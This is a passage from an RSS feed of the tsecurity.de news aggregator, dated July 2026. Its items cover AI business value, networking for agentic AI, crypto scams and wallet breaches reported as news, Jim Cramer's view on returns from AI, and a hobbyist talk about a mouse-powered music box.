software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
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<title><![CDATA[With AI, activity is not value]]></title>
<description><![CDATA[The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.



For decades, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earni...]]></description>
<link>https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</guid>
<pubDate>Mon, 20 Jul 2026 13:08:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.</p>



<p class="wp-block-paragraph"><a href="https://techeconomists.com/why-the-world-needs-new-economic-indicators/">For decades</a>, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earnings per share, labor productivity, return on investment and market share became the dominant indicators of organizational success because they reflected the economic realities of a world in which value creation was primarily tied to physical production, labor efficiency, scale and later the automation of information processing. AI, however, is altering the very structure of enterprise value creation, and in doing so it is creating a widening separation between perceived future value and actual realized economic performance.</p>



<p class="wp-block-paragraph">Much of the current discussion <a href="https://howardarubin.substack.com/p/why-ai-roi-is-so-darn-hard-to-measure">surrounding AI performance measurement</a> reflects this tension. The overwhelming majority of AI-related metrics being celebrated today are not direct measures of realized enterprise outcomes. They are largely indicators of capability formation, market positioning, experimentation or investor signaling. Metrics such as AI spending levels, number of AI use cases, GPUs deployed, copilots implemented, models placed into production, AI hiring growth or agentic AI pilots all serve primarily as proxies for anticipated future advantage. These indicators may influence stock valuations, analyst sentiment and strategic narratives, but their relationship to measurable operational performance is often indirect, delayed or in some cases entirely speculative.</p>



<p class="wp-block-paragraph">This distinction is critically important because capital markets have historically rewarded the <em>expectation</em> of technological transformation long before actual economic results materialized. During previous technological revolutions—including electrification, enterprise resource planning, the internet, cloud computing and mobile platforms—valuation expansion frequently preceded measurable productivity gains by many years. The market priced future possibility before operational economics caught up. In many instances, investors rewarded firms simply for appearing strategically aligned with the dominant technological shift of the era. AI appears to be following a similar trajectory.</p>



<p class="wp-block-paragraph">The phenomenon resembles the famous <a href="https://www.brookings.edu/articles/the-solow-productivity-paradox-what-do-computers-do-to-productivity/">productivity paradox</a> articulated by economist Robert Solow, who observed that “you can see the computer age everywhere but in the productivity statistics.” AI today is visible everywhere: in investor presentations, earnings calls, technology conferences, product announcements and boardroom strategies. Yet in many industries, its measurable contribution to enterprise productivity, profitability or economic resilience remains difficult to isolate with precision. This does not necessarily mean AI lacks value. Rather, it reflects the reality that traditional accounting and performance systems were never designed to measure the forms of value AI increasingly produces.</p>



<p class="wp-block-paragraph">Artificial intelligence creates benefits that are often diffuse, cumulative and difficult to attribute directly to financial outcomes. AI may improve forecasting accuracy, reduce fraud, accelerate decision cycles, augment employee effectiveness, improve customer interactions, optimize logistics or enhance cybersecurity resilience. These benefits frequently manifest as second-order effects distributed across the enterprise rather than as immediately visible financial events. The causal chain between AI investment and realized business performance can therefore become extraordinarily difficult to quantify. A company may become operationally more intelligent without immediately becoming measurably more profitable.</p>



<p class="wp-block-paragraph">At the same time, AI introduces a profound danger: organizations may increasingly optimize for technological narrative rather than durable enterprise economics. Many firms today are pursuing AI primarily because markets reward the appearance of AI leadership. Investor enthusiasm, analyst pressure and competitive fear create incentives to demonstrate visible AI activity <a href="https://howardarubin.substack.com/p/talking-about-ai-value-is-like-talking">regardless of whether measurable economic value has actually been achieved</a>. In this environment, AI metrics can easily become instruments of valuation signaling rather than instruments of operational truth.</p>



<p class="wp-block-paragraph">This distinction between signaling and substance may become one of the defining economic challenges of the AI era. An organization may announce aggressive AI deployment programs, reduce headcount and report short-term margin improvements while simultaneously increasing hidden forms of technological fragility. Infrastructure costs may rise dramatically as GPU consumption, cloud usage, data engineering requirements and cybersecurity complexity expand. Technical debt may accelerate as AI-generated code proliferates without sufficient architectural discipline. Institutional knowledge may erode as organizations become excessively dependent on opaque models and automated systems. Long-term innovation capacity may weaken if enterprises divert disproportionate resources toward maintaining internally generated AI systems rather than building new strategic capabilities.</p>



<h2 class="wp-block-heading">What measuring AI value might actually look like</h2>



<p class="wp-block-paragraph">The distinction between AI activity and AI value becomes clearer when viewed through the kinds of measures organizations choose to track. Many enterprises today emphasize indicators such as the number of AI models deployed, copilots implemented, agents created, prompts executed, tokens consumed or employees using AI tools. These metrics demonstrate adoption and technological activity, but they reveal relatively little about whether AI is producing meaningful business outcomes.</p>



<p class="wp-block-paragraph">Measures of enterprise value look quite different. A manufacturer might evaluate whether AI improves demand forecasting accuracy enough to reduce inventory carrying costs or stockouts. A financial institution might measure whether AI meaningfully lowers fraud losses, accelerates loan processing or improves regulatory compliance. A healthcare provider could assess reductions in administrative burden, faster clinical decision support or improvements in patient throughput. In each case, the objective is not simply to measure AI deployment, but to determine whether AI creates measurable improvements in operational performance, economic outcomes or organizational resilience.</p>



<p class="wp-block-paragraph">Ultimately, organizations may need to ask a different question: not “How much AI are we using?” but “How much business value does each unit of AI investment create?” That shift—from measuring technological activity to measuring economic outcomes—may become one of the defining management disciplines of the AI era.</p>



<p class="wp-block-paragraph">Under traditional accounting frameworks, many of these deteriorations remain largely invisible. Quarterly earnings may improve even as underlying enterprise resilience declines. Stock prices may rise even as operational complexity becomes increasingly unsustainable. In this sense, the AI era threatens to widen the gap between financial appearance and organizational reality.</p>



<p class="wp-block-paragraph">This is why the future of enterprise measurement cannot simply involve adding AI metrics to existing financial scorecards. The challenge is far deeper. AI forces a reconsideration of what business performance actually means. Historically, enterprises were measured largely through static indicators of efficiency and output. Increasingly, however, competitive advantage may depend less on traditional efficiency and more on adaptive intelligence: the ability of an organization to learn faster, make better decisions, integrate human and machine capabilities effectively, manage technological complexity sustainably and convert computational power into durable economic outcomes.</p>



<p class="wp-block-paragraph">The most important future performance measures may therefore revolve around questions traditional accounting rarely addresses. How effectively does an enterprise convert technology investment into sustainable business capability? How economically efficient are its AI operations relative to the value they generate? How resilient is the organization to AI failure, cybersecurity disruption or infrastructure inflation? How successfully does it preserve and amplify human expertise rather than simply eliminate labor? How rapidly can it learn, adapt and operationalize new knowledge?</p>



<p class="wp-block-paragraph">These are not merely technology questions. They are questions of enterprise economics, organizational sustainability and long-term competitive viability.</p>



<p class="wp-block-paragraph">The companies that ultimately succeed in the AI era may not be those with the largest AI budgets, the greatest number of pilots or the most aggressive automation programs. They may instead be the firms that best understand the economics of technological capability itself: organizations capable of balancing innovation with resilience, automation with human augmentation and technological ambition with sustainable operational design.</p>



<p class="wp-block-paragraph">The coming decade is therefore likely to produce a widening divide between enterprises optimizing for AI-driven valuation narratives and enterprises optimizing for measurable, durable economic performance. In the short term, these may appear to be the same thing.</p>



<p class="wp-block-paragraph">Over time, however, the distinction will become increasingly visible. Some organizations will discover that AI has enhanced genuine enterprise capability. Others will discover that they merely optimized the appearance of transformation while silently accumulating new forms of economic and operational risk.</p>



<p class="wp-block-paragraph">Artificial intelligence is not simply changing business operations. It is exposing the inadequacy of many of the measures used to evaluate business success itself. The central challenge of the AI economy may ultimately become not whether organizations adopt AI, but whether they can distinguish between technological activity and actual economic value creation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Krypto-Falle statt Gewinn: So zocken dubiose Wettanbieter ihre User ab]]></title>
<description><![CDATA[Sicherheitsforscher warnen vor dubiosen Krypto-Prognoseplattformen. Wer seine Wallet verbindet oder Geld einzahlt, riskiert hohe Verluste.]]></description>
<link>https://tsecurity.de/de/3680795/it-nachrichten/krypto-falle-statt-gewinn-so-zocken-dubiose-wettanbieter-ihre-user-ab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680795/it-nachrichten/krypto-falle-statt-gewinn-so-zocken-dubiose-wettanbieter-ihre-user-ab/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sicherheitsforscher warnen vor dubiosen Krypto-Prognoseplattformen. Wer seine Wallet verbindet oder Geld einzahlt, riskiert hohe Verluste.]]></content:encoded>
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<title><![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]></title>
<description><![CDATA[Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing ...]]></description>
<link>https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.</p>



<p class="wp-block-paragraph">As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.</p>



<p class="wp-block-paragraph">The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.</p>



<h2 class="wp-block-heading">From AI-ready networks to autonomous networks</h2>



<p class="wp-block-paragraph">The long-term destination is the <a href="https://www.ericsson.com/en/ai/autonomous-networks">autonomous network</a>: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.</p>



<p class="wp-block-paragraph">In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.</p>



<h2 class="wp-block-heading">The core characteristics of the network of the future</h2>



<p class="wp-block-paragraph">One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.</p>



<p class="wp-block-paragraph">Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.</p>



<p class="wp-block-paragraph">Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.</p>



<p class="wp-block-paragraph">Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.</p>



<p class="wp-block-paragraph">Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.</p>



<h2 class="wp-block-heading">Human expertise remains essential</h2>



<p class="wp-block-paragraph">Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.</p>



<p class="wp-block-paragraph">As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.</p>



<p class="wp-block-paragraph">Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.</p>



<h2 class="wp-block-heading">5 actions enterprises should take now</h2>



<p class="wp-block-paragraph">Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:</p>



<ol start="1" class="wp-block-list">
<li><strong>Modernize network observability.</strong> Establish <a href="https://www.ibm.com/think/insights/ai-agent-observability">comprehensive visibility</a> across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.</li>



<li><strong>Build an automation-first operating model.</strong> Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.</li>



<li><strong>Adopt zero-trust principles across the enterprise.</strong> Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, <a href="https://www.forrester.com/zero-trust/">security architectures</a> must evolve to leverage the same identity controls.</li>



<li><strong>Design for edge-to-cloud AI workloads.</strong> Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.</li>



<li><strong>Invest in skills and strategic partnerships.</strong> Develop <a href="https://mitsloan.mit.edu/ideas-made-to-matter/artificial-intelligence-pays-when-businesses-go-all">internal expertise</a> while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.</li>
</ol>



<h2 class="wp-block-heading">The road ahead</h2>



<p class="wp-block-paragraph">Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Bitcoin: Projekt Eleven liefert Proof statt Quantum-Freeze-Rettung für alle]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neue Methode von Project Eleven soll Bitcoin-Eigentümer nach einem zukünftigen Quantenangriff wieder an ihre Coins bringen können – zumindest dann, wenn die Wallet modernen Seed-Phrase-Strukturen folgt. Im Kern geht es um einen „Ownership-Proof“, der ohne Offenlegung d...]]></description>
<link>https://tsecurity.de/de/3680144/it-security-nachrichten/bitcoin-projekt-eleven-liefert-proof-statt-quantum-freeze-rettung-fuer-alle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680144/it-security-nachrichten/bitcoin-projekt-eleven-liefert-proof-statt-quantum-freeze-rettung-fuer-alle/</guid>
<pubDate>Mon, 20 Jul 2026 02:13:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-bitcoin-quantum-ownership-proof.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-bitcoin-quantum-ownership-proof.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-bitcoin-quantum-ownership-proof-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-bitcoin-quantum-ownership-proof-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-bitcoin-quantum-ownership-proof-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-bitcoin-quantum-ownership-proof-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-bitcoin-quantum-ownership-proof-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neue Methode von Project Eleven soll Bitcoin-Eigentümer nach einem zukünftigen Quantenangriff wieder an ihre Coins bringen können – zumindest dann, wenn die Wallet modernen Seed-Phrase-Strukturen folgt. Im Kern geht es um einen „Ownership-Proof“, der ohne Offenlegung des Master-Keys auskommt und damit die typische Signaturlücke nach dem Signaturbruch schließt. Gleichzeitig bleibt […]</p>
<div><a href="https://www.it-boltwise.de/bitcoin-projekt-eleven-liefert-proof-statt-quantum-freeze-rettung-fuer-alle.html">... den vollständigen Artikel <strong>»Bitcoin: Projekt Eleven liefert Proof statt Quantum-Freeze-Rettung für alle«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/bitcoin-projekt-eleven-liefert-proof-statt-quantum-freeze-rettung-fuer-alle.html">Bitcoin: Projekt Eleven liefert Proof statt Quantum-Freeze-Rettung für alle</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Südkorea startet Sanktionen gegen Dunamu nach Upbit-Wallet-Hack]]></title>
<description><![CDATA[SÜDKOREA / LONDON (IT BOLTWISE) – Die Finanzaufsicht (FSS) hat gegen Dunamu, den Betreiber von Upbit, ein Sanktionsverfahren wegen eines großen Wallet-Breaches eingeleitet. Der Fall trifft auf eine Gesetzeslage, die zwar Custody- und Kundenschutzpflichten regelt, aber keine klaren Strafrahmen für...]]></description>
<link>https://tsecurity.de/de/3679856/it-security-nachrichten/suedkorea-startet-sanktionen-gegen-dunamu-nach-upbit-wallet-hack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679856/it-security-nachrichten/suedkorea-startet-sanktionen-gegen-dunamu-nach-upbit-wallet-hack/</guid>
<pubDate>Sun, 19 Jul 2026 20:52:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-sanktionen-dunamu-upbit-wallet-hack.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-sanktionen-dunamu-upbit-wallet-hack.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-sanktionen-dunamu-upbit-wallet-hack-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-sanktionen-dunamu-upbit-wallet-hack-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-sanktionen-dunamu-upbit-wallet-hack-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-sanktionen-dunamu-upbit-wallet-hack-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-sanktionen-dunamu-upbit-wallet-hack-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">SÜDKOREA / LONDON (IT BOLTWISE) – Die Finanzaufsicht (FSS) hat gegen Dunamu, den Betreiber von Upbit, ein Sanktionsverfahren wegen eines großen Wallet-Breaches eingeleitet. Der Fall trifft auf eine Gesetzeslage, die zwar Custody- und Kundenschutzpflichten regelt, aber keine klaren Strafrahmen für Hacking oder Systemausfälle vorsieht. Upbit erstattete betroffene Nutzer und baute Wallet-Komponenten neu auf, während die […]</p>
<div><a href="https://www.it-boltwise.de/suedkorea-startet-sanktionen-gegen-dunamu-nach-upbit-wallet-hack.html">... den vollständigen Artikel <strong>»Südkorea startet Sanktionen gegen Dunamu nach Upbit-Wallet-Hack«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/suedkorea-startet-sanktionen-gegen-dunamu-nach-upbit-wallet-hack.html">Südkorea startet Sanktionen gegen Dunamu nach Upbit-Wallet-Hack</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Bethesda confirms 'Fallout 5' and 'The Elder Scrolls VI' are built on new Creation Engine 3 — Todd Howard explains the goal to give more power to devs and creators]]></title>
<description><![CDATA[We spoke to Todd Howard about the power of Creation Engine 3, and how Roblox has validated Bethesda's focus on independent creators.]]></description>
<link>https://tsecurity.de/de/3679518/windows-tipps/bethesda-confirms-fallout-5-and-the-elder-scrolls-vi-are-built-on-new-creation-engine-3-todd-howard-explains-the-goal-to-give-more-power-to-devs-and-creators/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679518/windows-tipps/bethesda-confirms-fallout-5-and-the-elder-scrolls-vi-are-built-on-new-creation-engine-3-todd-howard-explains-the-goal-to-give-more-power-to-devs-and-creators/</guid>
<pubDate>Sun, 19 Jul 2026 15:22:44 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We spoke to Todd Howard about the power of Creation Engine 3, and how Roblox has validated Bethesda's focus on independent creators.]]></content:encoded>
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<title><![CDATA[KI? Nein: Nordkoreanischer Hacker schleust sich in MetaMask-Entwicklung ein]]></title>
<description><![CDATA[NEW YORK / LONDON (IT BOLTWISE) – Consensys hat einen kompromittierten Zugriff auf das MetaMask-Entwicklerteam entdeckt, der über eine falsche Identität lief. Der Angreifer arbeitete laut interner Prüfung etwa einen Monat an Kerncode rund um Wallet-Transfers zwischen Krypto und Fiat. Nach der Ent...]]></description>
<link>https://tsecurity.de/de/3679394/it-security-nachrichten/ki-nein-nordkoreanischer-hacker-schleust-sich-in-metamask-entwicklung-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679394/it-security-nachrichten/ki-nein-nordkoreanischer-hacker-schleust-sich-in-metamask-entwicklung-ein/</guid>
<pubDate>Sun, 19 Jul 2026 13:22:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-metamask-insider-incident.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-metamask-insider-incident.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-metamask-insider-incident-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-metamask-insider-incident-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-metamask-insider-incident-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-metamask-insider-incident-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-metamask-insider-incident-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">NEW YORK / LONDON (IT BOLTWISE) – Consensys hat einen kompromittierten Zugriff auf das MetaMask-Entwicklerteam entdeckt, der über eine falsche Identität lief. Der Angreifer arbeitete laut interner Prüfung etwa einen Monat an Kerncode rund um Wallet-Transfers zwischen Krypto und Fiat. Nach der Entdeckung wurden die Zugriffsrechte sofort entzogen und Produkt-Release-Schritte gestoppt. Die Untersuchung kam zu […]</p>
<div><a href="https://www.it-boltwise.de/ki-nein-nordkoreanischer-hacker-schleust-sich-in-metamask-entwicklung-ein.html">... den vollständigen Artikel <strong>»KI? Nein: Nordkoreanischer Hacker schleust sich in MetaMask-Entwicklung ein«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/ki-nein-nordkoreanischer-hacker-schleust-sich-in-metamask-entwicklung-ein.html">KI? Nein: Nordkoreanischer Hacker schleust sich in MetaMask-Entwicklung ein</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[CNBC's Jim Cramer Says He Needs 'Cold Hard' Proof AI Is Paying Off]]></title>
<description><![CDATA[In a sign of our times, CNBC's Jim Cramer "said Wednesday that it's time for companies to prove artificial intelligence is paying off," reports CNBC:


"I need cold hard return facts," the "Mad Money" host said. "Or, I, too, will grow more skeptical than I am now...." While Cramer said he remains...]]></description>
<link>https://tsecurity.de/de/3678342/it-security-nachrichten/cnbcs-jim-cramer-says-he-needs-cold-hard-proof-ai-is-paying-off/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678342/it-security-nachrichten/cnbcs-jim-cramer-says-he-needs-cold-hard-proof-ai-is-paying-off/</guid>
<pubDate>Sat, 18 Jul 2026 19:53:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In a sign of our times, CNBC's Jim Cramer "said Wednesday that it's time for companies to prove artificial intelligence is paying off," reports CNBC:


"I need cold hard return facts," the "Mad Money" host said. "Or, I, too, will grow more skeptical than I am now...." While Cramer said he remains optimistic about the long-term opportunity, he argued the market needs more evidence that those investments are translating into measurable financial returns for customers. Cramer said one of his biggest concerns this earnings season is that companies adopting AI have largely failed to point to meaningful revenue gains or cost savings from the technology. "We're still early in the earnings season but already we are not hearing anything material about the use of AI," he said... 

While AI infrastructure companies continue to benefit from the spending boom, Cramer said the same cannot yet be said for many of the businesses buying the technology... Cramer said only a handful of companies, most notably fintech firm Block and web-security provider Cloudflare, have clearly attributed recent layoffs to AI adoption. Block did so in February, while Cloudflare's job cuts were disclosed in May. Plus, critics argue some companies may also cite AI as a buzzy excuse for cuts, leading to the creation of the term "AI washing." Ultimately, Cramer said that if more businesses do not begin reporting tangible returns, the AI skeptics will grow louder, with ramifications for the tech industry's big spenders.<p></p><div class="share_submission">
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</div><p><a href="https://slashdot.org/story/26/07/18/0812205/cnbcs-jim-cramer-says-he-needs-cold-hard-proof-ai-is-paying-off?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[The Marvellous Mouse-powered Music box (emf2026)]]></title>
<description><![CDATA[It started when I stupidly promising my 8 year old that if the mouse brought in by my cat made through the night, we could keep it. It ended with a beautiful rendition of Toccata in D played solely by the rising star Mr Cheesey and the contraption I attached to his wheel. In this talk, I’ll cover...]]></description>
<link>https://tsecurity.de/de/3678322/it-security-video/the-marvellous-mouse-powered-music-box-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678322/it-security-video/the-marvellous-mouse-powered-music-box-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:22:32 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It started when I stupidly promising my 8 year old that if the mouse brought in by my cat made through the night, we could keep it. It ended with a beautiful rendition of Toccata in D played solely by the rising star Mr Cheesey and the contraption I attached to his wheel. In this talk, I’ll cover the ideas behind the plans, the designing and development of the music box wheel, the challenges of actually making it into a real machine (when some of there parts didn’t even exist) that actually worked and the creation of a YouTube platform showing Mr Cheesey (and his co-star Daphne) running around on their mouse wheel and turning a little hole punch music box covering all the (non-copyrighted) classics.

I'll also include structured diagrams explaining how the contraption works in case anyone has a similar idea they want to realise.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/210-the-marvellous-mouse-powered-music-box]]></content:encoded>
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<title><![CDATA[Apple Car Keys Support Could Soon Reach GWM Tank Vehicles]]></title>
<description><![CDATA[Apple Car Keys support appears to be heading to select Tank vehicles from Chinese automaker Great Wall Motor, giving owners another way to access and start their cars through an iPhone or Apple Watch. The feature stores a digital car key inside Apple Wallet and works with compatible vehicle hardw...]]></description>
<link>https://tsecurity.de/de/3678319/ios-mac-os/apple-car-keys-support-could-soon-reach-gwm-tank-vehicles/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678319/ios-mac-os/apple-car-keys-support-could-soon-reach-gwm-tank-vehicles/</guid>
<pubDate>Sat, 18 Jul 2026 19:19:25 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
